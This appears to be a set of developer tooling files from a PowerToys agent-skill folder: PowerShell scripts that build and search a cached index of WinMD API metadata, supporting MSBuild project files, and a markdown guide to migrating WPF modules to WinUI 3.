[CmdletBinding()]
param(
[Parameter(Mandatory)]
[ValidateSet('projects', 'packages', 'stats', 'namespaces', 'types', 'members', 'search', 'enums')]
[string]$Action,
[string]$Project,
[string]$Namespace,
[string]$TypeName,
[string]$Query,
[string]$Filter,
[string]$CacheDir,
[int]$MaxResults = 30
)
# ─── Resolve cache directory ─────────────────────────────────────────────────
if (-not $CacheDir) {
# Convention: skill lives at .github/skills/winmd-api-search/scripts/
# so workspace root is 4 levels up from $PSScriptRoot.
$scriptDir = $PSScriptRoot
$root = (Resolve-Path (Join-Path $scriptDir '..\..\..\..')).Path
$CacheDir = Join-Path $root 'Generated Files\winmd-cache'
}
if (-not (Test-Path $CacheDir)) {
Write-Error "Cache not found at: $CacheDir`nRun: .\Update-WinMdCache.ps1 (from .github\skills\winmd-api-search\scripts\)"
exit 1
}
# ─── Project resolution helpers ──────────────────────────────────────────────
function Get-CachedProjects {
$projectsDir = Join-Path $CacheDir 'projects'
if (-not (Test-Path $projectsDir)) { return @() }
Get-ChildItem $projectsDir -Filter '*.json' | ForEach-Object { $_.BaseName }
}
function Resolve-ProjectManifest {
param([string]$Name)
$projectsDir = Join-Path $CacheDir 'projects'
if (-not (Test-Path $projectsDir)) {
Write-Error "No projects cached. Run Update-WinMdCache.ps1 first."
exit 1
}
if ($Name) {
$path = Join-Path $projectsDir "$Name.json"
if (-not (Test-Path $path)) {
# Scan mode appends a hash suffix -- try prefix match
$matching = @(Get-ChildItem $projectsDir -Filter "${Name}_*.json" -ErrorAction SilentlyContinue)
if ($matching.Count -eq 1) {
return Get-Content $matching[0].FullName -Raw | ConvertFrom-Json
}
if ($matching.Count -gt 1) {
$names = ($matching | ForEach-Object { $_.BaseName }) -join ', '
Write-Error "Multiple projects match '$Name'. Specify the full name: $names"
exit 1
}
$available = (Get-CachedProjects) -join ', '
Write-Error "Project '$Name' not found. Available: $available"
exit 1
}
return Get-Content $path -Raw | ConvertFrom-Json
}
# Auto-select if only one project
$manifests = Get-ChildItem $projectsDir -Filter '*.json' -ErrorAction SilentlyContinue
if ($manifests.Count -eq 0) {
Write-Error "No projects cached. Run Update-WinMdCache.ps1 first."
exit 1
}
if ($manifests.Count -eq 1) {
return Get-Content $manifests[0].FullName -Raw | ConvertFrom-Json
}
$available = ($manifests | ForEach-Object { $_.BaseName }) -join ', '
Write-Error "Multiple projects cached -- use -Project to specify. Available: $available"
exit 1
}
function Get-PackageCacheDirs {
param($Manifest)
$dirs = @()
foreach ($pkg in $Manifest.packages) {
$dir = Join-Path (Join-Path (Join-Path $CacheDir 'packages') $pkg.id) $pkg.version
if (Test-Path $dir) {
$dirs += $dir
}
}
return $dirs
}
# ─── Action: projects ────────────────────────────────────────────────────────
function Show-Projects {
$projects = Get-CachedProjects
if ($projects.Count -eq 0) {
Write-Output "No projects cached."
return
}
Write-Output "Cached projects ($($projects.Count)):"
foreach ($p in $projects) {
$manifest = Get-Content (Join-Path (Join-Path $CacheDir 'projects') "$p.json") -Raw | ConvertFrom-Json
$pkgCount = $manifest.packages.Count
Write-Output " $p ($pkgCount package(s))"
}
}
# ─── Action: packages ────────────────────────────────────────────────────────
function Show-Packages {
$manifest = Resolve-ProjectManifest -Name $Project
Write-Output "Packages for project '$($manifest.projectName)' ($($manifest.packages.Count)):"
foreach ($pkg in $manifest.packages) {
$metaPath = Join-Path (Join-Path (Join-Path (Join-Path $CacheDir 'packages') $pkg.id) $pkg.version) 'meta.json'
if (Test-Path $metaPath) {
$meta = Get-Content $metaPath -Raw | ConvertFrom-Json
Write-Output " $($pkg.id)@$($pkg.version) -- $($meta.totalTypes) types, $($meta.totalMembers) members"
} else {
Write-Output " $($pkg.id)@$($pkg.version) -- (cache missing)"
}
}
}
# ─── Action: stats ───────────────────────────────────────────────────────────
function Show-Stats {
$manifest = Resolve-ProjectManifest -Name $Project
$totalTypes = 0
$totalMembers = 0
$totalNamespaces = 0
$totalWinMd = 0
foreach ($pkg in $manifest.packages) {
$metaPath = Join-Path (Join-Path (Join-Path (Join-Path $CacheDir 'packages') $pkg.id) $pkg.version) 'meta.json'
if (Test-Path $metaPath) {
$meta = Get-Content $metaPath -Raw | ConvertFrom-Json
$totalTypes += $meta.totalTypes
$totalMembers += $meta.totalMembers
$totalNamespaces += $meta.totalNamespaces
$totalWinMd += $meta.winMdFiles.Count
}
}
Write-Output "WinMD Index Statistics -- $($manifest.projectName)"
Write-Output "======================================"
Write-Output " Packages: $($manifest.packages.Count)"
Write-Output " Namespaces: $totalNamespaces (may overlap across packages)"
Write-Output " Types: $totalTypes"
Write-Output " Members: $totalMembers"
Write-Output " WinMD files: $totalWinMd"
}
# ─── Action: namespaces ──────────────────────────────────────────────────────
function Get-Namespaces {
param([string]$Prefix)
$manifest = Resolve-ProjectManifest -Name $Project
$dirs = Get-PackageCacheDirs -Manifest $manifest
$allNs = @()
foreach ($dir in $dirs) {
$nsFile = Join-Path $dir 'namespaces.json'
if (Test-Path $nsFile) {
$allNs += (Get-Content $nsFile -Raw | ConvertFrom-Json)
}
}
$allNs = $allNs | Sort-Object -Unique
if ($Prefix) {
$allNs = $allNs | Where-Object { $_ -like "$Prefix*" }
}
$allNs | ForEach-Object { Write-Output $_ }
}
# ─── Action: types ───────────────────────────────────────────────────────────
function Get-TypesInNamespace {
param([string]$Ns)
if (-not $Ns) {
Write-Error "-Namespace is required for 'types' action."
exit 1
}
$manifest = Resolve-ProjectManifest -Name $Project
$dirs = Get-PackageCacheDirs -Manifest $manifest
$safeFile = $Ns.Replace('.', '_') + '.json'
$found = $false
$seen = @{}
foreach ($dir in $dirs) {
$filePath = Join-Path $dir "types\$safeFile"
if (-not (Test-Path $filePath)) { continue }
$found = $true
$types = Get-Content $filePath -Raw | ConvertFrom-Json
foreach ($t in $types) {
if ($seen.ContainsKey($t.fullName)) { continue }
$seen[$t.fullName] = $true
Write-Output "$($t.kind) $($t.fullName)$(if ($t.baseType) { " : $($t.baseType)" } else { '' })"
}
}
if (-not $found) {
Write-Error "Namespace not found: $Ns"
exit 1
}
}
# ─── Action: members ─────────────────────────────────────────────────────────
function Get-MembersOfType {
param([string]$FullName)
if (-not $FullName) {
Write-Error "-TypeName is required for 'members' action."
exit 1
}
$lastDot = $FullName.LastIndexOf('.')
if ($lastDot -lt 0) {
Write-Error "-TypeName must include a namespace (for example: 'MyNamespace.MyType'). Provided: $FullName"
exit 1
}
$ns = $FullName.Substring(0, $lastDot)
$safeFile = $ns.Replace('.', '_') + '.json'
$manifest = Resolve-ProjectManifest -Name $Project
$dirs = Get-PackageCacheDirs -Manifest $manifest
foreach ($dir in $dirs) {
$filePath = Join-Path $dir "types\$safeFile"
if (-not (Test-Path $filePath)) { continue }
$types = Get-Content $filePath -Raw | ConvertFrom-Json
$type = $types | Where-Object { $_.fullName -eq $FullName }
if (-not $type) { continue }
Write-Output "$($type.kind) $($type.fullName)"
if ($type.baseType) { Write-Output " Extends: $($type.baseType)" }
Write-Output ""
foreach ($m in $type.members) {
Write-Output " [$($m.kind)] $($m.signature)"
}
return
}
Write-Error "Type not found: $FullName"
exit 1
}
# ─── Action: search ──────────────────────────────────────────────────────────
# Ranks namespaces by best match score on type names and member names.
# Outputs: ranked namespaces with top matching types and the JSON file path.
# The agent can then read the JSON file to inspect all members intelligently.
function Search-WinMd {
param([string]$SearchQuery, [int]$Max)
if (-not $SearchQuery) {
Write-Error "-Query is required for 'search' action."
exit 1
}
$manifest = Resolve-ProjectManifest -Name $Project
$dirs = Get-PackageCacheDirs -Manifest $manifest
# Collect: namespace -> { bestScore, matchingTypes[], filePath }
$nsResults = @{}
foreach ($dir in $dirs) {
$nsFile = Join-Path $dir 'namespaces.json'
if (-not (Test-Path $nsFile)) { continue }
$nsList = Get-Content $nsFile -Raw | ConvertFrom-Json
foreach ($n in $nsList) {
$safeFile = $n.Replace('.', '_') + '.json'
$filePath = Join-Path $dir "types\$safeFile"
if (-not (Test-Path $filePath)) { continue }
$types = Get-Content $filePath -Raw | ConvertFrom-Json
foreach ($t in $types) {
$typeScore = Get-MatchScore -Name $t.name -FullName $t.fullName -Query $SearchQuery
# Also search member names for matches
$bestMemberScore = 0
$matchingMember = $null
if ($t.members) {
foreach ($m in $t.members) {
$memberName = $m.name
$mScore = Get-MatchScore -Name $memberName -FullName "$($t.fullName).$memberName" -Query $SearchQuery
if ($mScore -gt $bestMemberScore) {
$bestMemberScore = $mScore
$matchingMember = $m.signature
}
}
}
$score = [Math]::Max($typeScore, $bestMemberScore)
if ($score -le 0) { continue }
if (-not $nsResults.ContainsKey($n)) {
$nsResults[$n] = @{ BestScore = 0; Types = @(); FilePaths = @() }
}
$entry = $nsResults[$n]
if ($score -gt $entry.BestScore) { $entry.BestScore = $score }
if ($entry.FilePaths -notcontains $filePath) {
$entry.FilePaths += $filePath
}
if ($typeScore -ge $bestMemberScore) {
$entry.Types += @{ Text = "$($t.kind) $($t.fullName) [$typeScore]"; Score = $typeScore }
} else {
$entry.Types += @{ Text = "$($t.kind) $($t.fullName) -> $matchingMember [$bestMemberScore]"; Score = $bestMemberScore }
}
}
}
}
if ($nsResults.Count -eq 0) {
Write-Output "No results found for: $SearchQuery"
return
}
$ranked = $nsResults.GetEnumerator() |
Sort-Object { $_.Value.BestScore } -Descending |
Select-Object -First $Max
foreach ($r in $ranked) {
$ns = $r.Key
$info = $r.Value
Write-Output "[$($info.BestScore)] $ns"
foreach ($fp in $info.FilePaths) {
Write-Output " File: $fp"
}
# Show top 5 highest-scoring matching types in this namespace
$info.Types | Sort-Object { $_.Score } -Descending |
Select-Object -First 5 |
ForEach-Object { Write-Output " $($_.Text)" }
Write-Output ""
}
}
# ─── Search scoring ──────────────────────────────────────────────────────────
# Simple ranked scoring on type names. Higher = better.
# 100 = exact name 80 = starts-with 60 = substring
# 50 = PascalCase 40 = multi-keyword 20 = fuzzy subsequence
function Get-MatchScore {
param([string]$Name, [string]$FullName, [string]$Query)
$q = $Query.Trim()
if (-not $q) { return 0 }
if ($Name -eq $q) { return 100 }
if ($Name -like "$q*") { return 80 }
if ($Name -like "*$q*" -or $FullName -like "*$q*") { return 60 }
$initials = ($Name.ToCharArray() | Where-Object { [char]::IsUpper($_) }) -join ''
if ($initials.Length -ge 2 -and $initials -like "*$q*") { return 50 }
$words = $q -split '\s+' | Where-Object { $_.Length -gt 0 }
if ($words.Count -gt 1) {
$allFound = $true
foreach ($w in $words) {
if ($Name -notlike "*$w*" -and $FullName -notlike "*$w*") {
$allFound = $false
break
}
}
if ($allFound) { return 40 }
}
if (Test-FuzzySubsequence -Text $Name -Pattern $q) { return 20 }
return 0
}
function Test-FuzzySubsequence {
param([string]$Text, [string]$Pattern)
$ti = 0
$tLower = $Text.ToLowerInvariant()
$pLower = $Pattern.ToLowerInvariant()
foreach ($ch in $pLower.ToCharArray()) {
$idx = $tLower.IndexOf($ch, $ti)
if ($idx -lt 0) { return $false }
$ti = $idx + 1
}
return $true
}
# ─── Action: enums ───────────────────────────────────────────────────────────
function Get-EnumValues {
param([string]$FullName)
if (-not $FullName) {
Write-Error "-TypeName is required for 'enums' action."
exit 1
}
$lastDot = $FullName.LastIndexOf('.')
if ($lastDot -lt 1) {
Write-Error "-TypeName must be a fully-qualified type name including namespace, e.g. 'Namespace.TypeName'. Provided: $FullName"
exit 1
}
$ns = $FullName.Substring(0, $lastDot)
$safeFile = $ns.Replace('.', '_') + '.json'
$manifest = Resolve-ProjectManifest -Name $Project
$dirs = Get-PackageCacheDirs -Manifest $manifest
foreach ($dir in $dirs) {
$filePath = Join-Path $dir "types\$safeFile"
if (-not (Test-Path $filePath)) { continue }
$types = Get-Content $filePath -Raw | ConvertFrom-Json
$type = $types | Where-Object { $_.fullName -eq $FullName }
if (-not $type) { continue }
if ($type.kind -ne 'Enum') {
Write-Error "$FullName is not an Enum (kind: $($type.kind))"
exit 1
}
Write-Output "Enum $($type.fullName)"
if ($type.enumValues) {
$type.enumValues | ForEach-Object { Write-Output " $_" }
} else {
Write-Output " (no values)"
}
return
}
Write-Error "Type not found: $FullName"
exit 1
}
# ─── Dispatch ─────────────────────────────────────────────────────────────────
switch ($Action) {
'projects' { Show-Projects }
'packages' { Show-Packages }
'stats' { Show-Stats }
'namespaces' { Get-Namespaces -Prefix $Filter }
'types' { Get-TypesInNamespace -Ns $Namespace }
'members' { Get-MembersOfType -FullName $TypeName }
'search' { Search-WinMd -SearchQuery $Query -Max $MaxResults }
'enums' { Get-EnumValues -FullName $TypeName }
}

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<#
.SYNOPSIS
Generate or refresh the WinMD cache for the Agent Skill.
.DESCRIPTION
Builds and runs the standalone cache generator to export cached JSON files
from all WinMD metadata found in project NuGet packages and Windows SDK.
The cache is per-package+version: if two projects reference the same
package at the same version, the WinMD data is parsed once and shared.
Supports single project or recursive scan of an entire repo.
.PARAMETER ProjectDir
Path to a project directory (contains .csproj/.vcxproj), or a project file itself.
Defaults to scanning the workspace root.
.PARAMETER Scan
Recursively discover all .csproj/.vcxproj files under ProjectDir.
.PARAMETER OutputDir
Path to the cache output directory. Defaults to "Generated Files\winmd-cache".
.EXAMPLE
.\Update-WinMdCache.ps1
.\Update-WinMdCache.ps1 -ProjectDir BlankWinUI
.\Update-WinMdCache.ps1 -Scan -ProjectDir .
.\Update-WinMdCache.ps1 -ProjectDir "src\MyApp\MyApp.csproj"
#>
[CmdletBinding()]
param(
[string]$ProjectDir,
[switch]$Scan,
[string]$OutputDir = 'Generated Files\winmd-cache'
)
$ErrorActionPreference = 'Stop'
# Convention: skill lives at .github/skills/winmd-api-search/scripts/
# so workspace root is 4 levels up from $PSScriptRoot.
$root = (Resolve-Path (Join-Path $PSScriptRoot '..\..\..\..')).Path
$generatorProj = Join-Path (Join-Path $PSScriptRoot 'cache-generator') 'CacheGenerator.csproj'
# ---------------------------------------------------------------------------
# WinAppSDK version detection -- look only at the repo root folder (no recursion)
# ---------------------------------------------------------------------------
function Get-WinAppSdkVersionFromDirectoryPackagesProps {
<#
.SYNOPSIS
Extract Microsoft.WindowsAppSDK version from a Directory.Packages.props
(Central Package Management) at the repo root.
#>
param([string]$RepoRoot)
$propsFile = Join-Path $RepoRoot 'Directory.Packages.props'
if (-not (Test-Path $propsFile)) { return $null }
try {
[xml]$xml = Get-Content $propsFile -Raw
$node = $xml.SelectNodes('//PackageVersion') |
Where-Object { $_.Include -eq 'Microsoft.WindowsAppSDK' } |
Select-Object -First 1
if ($node) { return $node.Version }
} catch {
Write-Verbose "Could not parse $propsFile : $_"
}
return $null
}
function Get-WinAppSdkVersionFromPackagesConfig {
<#
.SYNOPSIS
Extract Microsoft.WindowsAppSDK version from a packages.config at the repo root.
#>
param([string]$RepoRoot)
$configFile = Join-Path $RepoRoot 'packages.config'
if (-not (Test-Path $configFile)) { return $null }
try {
[xml]$xml = Get-Content $configFile -Raw
$node = $xml.SelectNodes('//package') |
Where-Object { $_.id -eq 'Microsoft.WindowsAppSDK' } |
Select-Object -First 1
if ($node) { return $node.version }
} catch {
Write-Verbose "Could not parse $configFile : $_"
}
return $null
}
# Try Directory.Packages.props first (CPM), then packages.config
$winAppSdkVersion = Get-WinAppSdkVersionFromDirectoryPackagesProps -RepoRoot $root
if (-not $winAppSdkVersion) {
$winAppSdkVersion = Get-WinAppSdkVersionFromPackagesConfig -RepoRoot $root
}
if ($winAppSdkVersion) {
Write-Host "Detected WinAppSDK version from repo: $winAppSdkVersion" -ForegroundColor Cyan
} else {
Write-Host "No WinAppSDK version found at repo root; will use latest (Version=*)" -ForegroundColor Yellow
}
# Default: if no ProjectDir, scan the workspace root
if (-not $ProjectDir) {
$ProjectDir = $root
$Scan = $true
}
Push-Location $root
try {
# Detect installed .NET SDK -- require >= 8.0, prefer stable over preview
$dotnetSdks = dotnet --list-sdks 2>$null
$bestMajor = $dotnetSdks |
Where-Object { $_ -notmatch 'preview|rc|alpha|beta' } |
ForEach-Object { if ($_ -match '^(\d+)\.') { [int]$Matches[1] } } |
Where-Object { $_ -ge 8 } |
Sort-Object -Descending |
Select-Object -First 1
# Fall back to preview SDKs if no stable SDK found
if (-not $bestMajor) {
$bestMajor = $dotnetSdks |
ForEach-Object { if ($_ -match '^(\d+)\.') { [int]$Matches[1] } } |
Where-Object { $_ -ge 8 } |
Sort-Object -Descending |
Select-Object -First 1
}
if (-not $bestMajor) {
Write-Error "No .NET SDK >= 8.0 found. Install from https://dotnet.microsoft.com/download"
exit 1
}
$targetFramework = "net$bestMajor.0"
Write-Host "Using .NET SDK: $targetFramework" -ForegroundColor Cyan
# Build MSBuild properties -- pass detected WinAppSDK version when available
$sdkVersionProp = ''
if ($winAppSdkVersion) {
$sdkVersionProp = "-p:WinAppSdkVersion=$winAppSdkVersion"
}
Write-Host "Building cache generator..." -ForegroundColor Cyan
$restoreArgs = @($generatorProj, "-p:TargetFramework=$targetFramework", '--nologo', '-v', 'q')
if ($sdkVersionProp) { $restoreArgs += $sdkVersionProp }
dotnet restore @restoreArgs
if ($LASTEXITCODE -ne 0) {
Write-Error "Restore failed"
exit 1
}
$buildArgs = @($generatorProj, '-c', 'Release', '--nologo', '-v', 'q', "-p:TargetFramework=$targetFramework", '--no-restore')
if ($sdkVersionProp) { $buildArgs += $sdkVersionProp }
dotnet build @buildArgs
if ($LASTEXITCODE -ne 0) {
Write-Error "Build failed"
exit 1
}
# Run the built executable directly (avoids dotnet run target framework mismatch issues)
$generatorDir = Join-Path $PSScriptRoot 'cache-generator'
$exePath = Join-Path $generatorDir "bin\Release\$targetFramework\CacheGenerator.exe"
if (-not (Test-Path $exePath)) {
# Fallback: try dll with dotnet
$dllPath = Join-Path $generatorDir "bin\Release\$targetFramework\CacheGenerator.dll"
if (Test-Path $dllPath) {
$exePath = $null
} else {
Write-Error "Built executable not found at: $exePath"
exit 1
}
}
$runArgs = @()
if ($Scan) {
$runArgs += '--scan'
}
# Detect installed WinAppSDK runtime via Get-AppxPackage (the WindowsApps
# folder is ACL-restricted so C# cannot enumerate it directly).
# WinMD files are architecture-independent metadata, so pick whichever arch
# matches the current OS to ensure the package is present.
$osArch = [System.Runtime.InteropServices.RuntimeInformation]::OSArchitecture.ToString()
$runtimePkg = Get-AppxPackage -Name 'Microsoft.WindowsAppRuntime.*' -ErrorAction SilentlyContinue |
Where-Object { $_.Name -notmatch 'CBS' -and $_.Architecture -eq $osArch } |
Sort-Object -Property Version -Descending |
Select-Object -First 1
if ($runtimePkg -and $runtimePkg.InstallLocation -and (Test-Path $runtimePkg.InstallLocation)) {
Write-Host "Detected WinAppSDK runtime: $($runtimePkg.Name) v$($runtimePkg.Version)" -ForegroundColor Cyan
$runArgs += '--winappsdk-runtime'
$runArgs += $runtimePkg.InstallLocation
}
$runArgs += $ProjectDir
$runArgs += $OutputDir
Write-Host "Exporting WinMD cache..." -ForegroundColor Cyan
if ($exePath) {
& $exePath @runArgs
} else {
dotnet $dllPath @runArgs
}
if ($LASTEXITCODE -ne 0) {
Write-Error "Cache export failed"
exit 1
}
Write-Host "Cache updated at: $OutputDir" -ForegroundColor Green
} finally {
Pop-Location
}

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<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<!-- Default fallback; Update-WinMdCache.ps1 overrides via -p:TargetFramework=net{X}.0 -->
<TargetFramework Condition="'$(TargetFramework)' == ''">net8.0</TargetFramework>
<Nullable>enable</Nullable>
<ImplicitUsings>enable</ImplicitUsings>
</PropertyGroup>
<!-- System.Reflection.Metadata is inbox in net9.0+, only needed for net8.0 -->
<ItemGroup Condition="'$(TargetFramework)' == 'net8.0'">
<PackageReference Include="System.Reflection.Metadata" Version="8.0.1" />
</ItemGroup>
<!--
Baseline WinAppSDK packages: downloaded during restore so the cache generator
can always index WinAppSDK APIs, even if the target project hasn't been restored.
ExcludeAssets="all" means they're downloaded but don't affect this tool's build.
When the repo has a known version (passed via -p:WinAppSdkVersion=X.Y.Z from
Update-WinMdCache.ps1), prefer that version to avoid unnecessary NuGet downloads.
Falls back to Version="*" (latest) on fresh clones with no restore.
-->
<ItemGroup Condition="'$(WinAppSdkVersion)' != ''">
<PackageReference Include="Microsoft.WindowsAppSDK" Version="$(WinAppSdkVersion)" ExcludeAssets="all" />
</ItemGroup>
<ItemGroup Condition="'$(WinAppSdkVersion)' == ''">
<PackageReference Include="Microsoft.WindowsAppSDK" Version="*" ExcludeAssets="all" />
</ItemGroup>
</Project>

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<Project>
<!-- Isolate this standalone tool from the repo-level build configuration -->
</Project>

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<Project>
<!-- Isolate this standalone tool from the repo-level build targets -->
</Project>

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<Project>
<!-- Isolate this standalone tool from the repo-level Central Package Management -->
</Project>

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---
name: wpf-to-winui3-migration
description: Guide for migrating PowerToys modules from WPF to WinUI 3 (Windows App SDK). Use when asked to migrate WPF code, convert WPF XAML to WinUI, replace System.Windows namespaces with Microsoft.UI.Xaml, update Dispatcher to DispatcherQueue, replace DynamicResource with ThemeResource, migrate imaging APIs from System.Windows.Media.Imaging to Windows.Graphics.Imaging, convert WPF Window to WinUI Window, migrate .resx to .resw resources, migrate custom Observable/RelayCommand to CommunityToolkit.Mvvm source generators, handle WPF-UI (Lepo) to WinUI native control migration, or fix installer/build pipeline issues after migration. Keywords: WPF, WinUI, WinUI3, migration, porting, convert, namespace, XAML, Dispatcher, DispatcherQueue, imaging, BitmapImage, Window, ContentDialog, ThemeResource, DynamicResource, ResourceLoader, resw, resx, CommunityToolkit, ObservableProperty, WPF-UI, SizeToContent, AppWindow, SoftwareBitmap.
license: Complete terms in LICENSE.txt
---
# WPF to WinUI 3 Migration Skill
Migrate PowerToys modules from WPF (`System.Windows.*`) to WinUI 3 (`Microsoft.UI.Xaml.*` / Windows App SDK). Based on patterns validated in the ImageResizer module migration.
## When to Use This Skill
- Migrate a PowerToys module from WPF to WinUI 3
- Convert WPF XAML files to WinUI 3 XAML
- Replace `System.Windows` namespaces with `Microsoft.UI.Xaml`
- Migrate `Dispatcher` usage to `DispatcherQueue`
- Migrate custom `Observable`/`RelayCommand` to CommunityToolkit.Mvvm source generators
- Replace WPF-UI (Lepo) controls with native WinUI 3 controls
- Convert imaging code from `System.Windows.Media.Imaging` to `Windows.Graphics.Imaging`
- Handle WPF `Window` vs WinUI `Window` differences (sizing, positioning, SizeToContent)
- Migrate resource files from `.resx` to `.resw` with `ResourceLoader`
- Fix installer/build pipeline issues after WinUI 3 migration
- Update project files, NuGet packages, and signing config
## Prerequisites
- Visual Studio 2022 17.4+
- Windows App SDK NuGet package (`Microsoft.WindowsAppSDK`)
- .NET 8+ with `net8.0-windows10.0.19041.0` TFM
- Windows 10 1803+ (April 2018 Update or newer)
## Migration Strategy
### Recommended Order
1. **Project file** — Update TFM, NuGet packages, set `<UseWinUI>true</UseWinUI>`
2. **Data models and business logic** — No UI dependencies, migrate first
3. **MVVM framework** — Replace custom Observable/RelayCommand with CommunityToolkit.Mvvm
4. **Resource strings** — Migrate `.resx``.resw`, introduce `ResourceLoaderInstance`
5. **Services and utilities** — Replace `System.Windows` types, async-ify imaging code
6. **ViewModels** — Update Dispatcher usage, binding patterns
7. **Views/Pages** — Starting from leaf pages with fewest dependencies
8. **Main page / shell** — Last, since it depends on everything
9. **App.xaml / startup code** — Merge carefully (do NOT overwrite WinUI 3 boilerplate)
10. **Installer & build pipeline** — Update WiX, signing, build events
11. **Tests** — Adapt for WinUI 3 runtime, async patterns
### Key Principles
- **Do NOT overwrite `App.xaml` / `App.xaml.cs`** — WinUI 3 has different application lifecycle boilerplate. Merge your resources and initialization code into the generated WinUI 3 App class.
- **Do NOT create Exe→WinExe `ProjectReference`** — Extract shared code to a Library project. This causes phantom build artifacts.
- **Use `Lazy<T>` for resource-dependent statics** — `ResourceLoader` is not available at class-load time in all contexts.
## Quick Reference Tables
### Namespace Mapping
| WPF | WinUI 3 |
|-----|---------|
| `System.Windows` | `Microsoft.UI.Xaml` |
| `System.Windows.Controls` | `Microsoft.UI.Xaml.Controls` |
| `System.Windows.Media` | `Microsoft.UI.Xaml.Media` |
| `System.Windows.Media.Imaging` | `Microsoft.UI.Xaml.Media.Imaging` (UI) / `Windows.Graphics.Imaging` (processing) |
| `System.Windows.Input` | `Microsoft.UI.Xaml.Input` |
| `System.Windows.Data` | `Microsoft.UI.Xaml.Data` |
| `System.Windows.Threading` | `Microsoft.UI.Dispatching` |
| `System.Windows.Interop` | `WinRT.Interop` |
### Critical API Replacements
| WPF | WinUI 3 | Notes |
|-----|---------|-------|
| `Dispatcher.Invoke()` | `DispatcherQueue.TryEnqueue()` | Different return type (`bool`) |
| `Dispatcher.CheckAccess()` | `DispatcherQueue.HasThreadAccess` | Property vs method |
| `Application.Current.Dispatcher` | Store `DispatcherQueue` in static field | See [Threading](./references/threading-and-windowing.md) |
| `MessageBox.Show()` | `ContentDialog` | Must set `XamlRoot` |
| `DynamicResource` | `ThemeResource` | Theme-reactive only |
| `clr-namespace:` | `using:` | XAML namespace prefix |
| `{x:Static props:Resources.Key}` | `x:Uid` or `ResourceLoader.GetString()` | .resx → .resw |
| `DataType="{x:Type m:Foo}"` | Remove or use code-behind | `x:Type` not supported |
| `Properties.Resources.MyString` | `ResourceLoaderInstance.ResourceLoader.GetString("MyString")` | Lazy-init pattern |
| `Application.Current.MainWindow` | Custom `App.Window` static property | Must track manually |
| `SizeToContent="Height"` | Custom `SizeToContent()` via `AppWindow.Resize()` | See [Windowing](./references/threading-and-windowing.md) |
| `MouseLeftButtonDown` | `PointerPressed` | Mouse → Pointer events |
| `Pack URI (pack://...)` | `ms-appx:///` | Resource URI scheme |
| `Observable` (custom base) | `ObservableObject` + `[ObservableProperty]` | CommunityToolkit.Mvvm |
| `RelayCommand` (custom) | `[RelayCommand]` source generator | CommunityToolkit.Mvvm |
| `JpegBitmapEncoder` | `BitmapEncoder.CreateAsync(JpegEncoderId, stream)` | Async, unified API |
| `encoder.QualityLevel = 85` | `BitmapPropertySet { "ImageQuality", 0.85f }` | int 1-100 → float 0-1 |
### NuGet Package Migration
| WPF | WinUI 3 |
|-----|---------|
| `Microsoft.Xaml.Behaviors.Wpf` | `Microsoft.Xaml.Behaviors.WinUI.Managed` |
| `WPF-UI` (Lepo) | Remove — use native WinUI 3 controls |
| `CommunityToolkit.Mvvm` | `CommunityToolkit.Mvvm` (same) |
| `Microsoft.Toolkit.Wpf.*` | `CommunityToolkit.WinUI.*` |
| (none) | `Microsoft.WindowsAppSDK` |
| (none) | `Microsoft.Windows.SDK.BuildTools` |
| (none) | `WinUIEx` (optional, for window helpers) |
| (none) | `CommunityToolkit.WinUI.Converters` |
### XAML Syntax Changes
| WPF | WinUI 3 |
|-----|---------|
| `xmlns:local="clr-namespace:MyApp"` | `xmlns:local="using:MyApp"` |
| `{DynamicResource Key}` | `{ThemeResource Key}` |
| `{x:Static Type.Member}` | `{x:Bind}` or code-behind |
| `{x:Type local:MyType}` | Not supported |
| `<Style.Triggers>` / `<DataTrigger>` | `VisualStateManager` |
| `{Binding}` in `Setter.Value` | Not supported — use `StaticResource` |
| `Content="{x:Static p:Resources.Cancel}"` | `x:Uid="Cancel"` with `.Content` in `.resw` |
| `<ui:FluentWindow>` / `<ui:Button>` (WPF-UI) | Native `<Window>` / `<Button>` |
| `<ui:NumberBox>` / `<ui:ProgressRing>` (WPF-UI) | Native `<NumberBox>` / `<ProgressRing>` |
| `BasedOn="{StaticResource {x:Type ui:Button}}"` | `BasedOn="{StaticResource DefaultButtonStyle}"` |
| `IsDefault="True"` / `IsCancel="True"` | `Style="{StaticResource AccentButtonStyle}"` / handle via KeyDown |
| `<AccessText>` | Not available — use `AccessKey` property |
| `<behaviors:Interaction.Triggers>` | Migrate to code-behind or WinUI behaviors |
## Detailed Reference Docs
Read only the section relevant to your current task:
- [Namespace and API Mapping](./references/namespace-api-mapping.md) — Full type mapping, NuGet changes, project file, CsWinRT interop
- [XAML Migration Guide](./references/xaml-migration.md) — XAML syntax, WPF-UI removal, markup extensions, styles, resources, data binding
- [Threading and Window Management](./references/threading-and-windowing.md) — Dispatcher, DispatcherQueue, SizeToContent, AppWindow, HWND interop, custom entry point
- [Imaging API Migration](./references/imaging-migration.md) — BitmapEncoder/Decoder, SoftwareBitmap, CodecHelper, async patterns, int→uint
- [PowerToys-Specific Patterns](./references/powertoys-patterns.md) — MVVM migration, ResourceLoader, Lazy init, installer, signing, test adaptation, build pipeline
## Common Pitfalls (from ImageResizer migration)
| Pitfall | Solution |
|---------|----------|
| `ContentDialog` throws "does not have a XamlRoot" | Set `dialog.XamlRoot = this.Content.XamlRoot` before `ShowAsync()` |
| `FilePicker` throws error in desktop app | Call `WinRT.Interop.InitializeWithWindow.Initialize(picker, hwnd)` |
| `Window.Dispatcher` returns null | Use `Window.DispatcherQueue` instead |
| Resources on `Window` element not found | Move resources to root layout container (`Grid.Resources`) |
| `VisualStateManager` on `Window` fails | Use `UserControl` or `Page` inside the Window |
| Satellite assembly installer errors (`WIX0103`) | Remove `.resources.dll` refs from `Resources.wxs`; WinUI 3 uses `.pri` |
| Phantom `.exe`/`.deps.json` in root output dir | Avoid Exe→WinExe `ProjectReference`; use Library project |
| `ResourceLoader` crash at static init | Wrap in `Lazy<T>` or null-coalescing property — see [Lazy Init](./references/powertoys-patterns.md#lazy-initialization-for-resource-dependent-statics) |
| `SizeToContent` not available | Implement manual content measurement + `AppWindow.Resize()` with DPI scaling |
| `x:Bind` default mode is `OneTime` | Explicitly set `Mode=OneWay` or `Mode=TwoWay` |
| `DynamicResource` / `x:Static` not compiling | Replace with `ThemeResource` / `ResourceLoader` or `x:Uid` |
| `IValueConverter.Convert` signature mismatch | Last param: `CultureInfo``string` (language tag) |
| Test project can't resolve WPF types | Add `<UseWPF>true</UseWPF>` temporarily; remove after imaging migration |
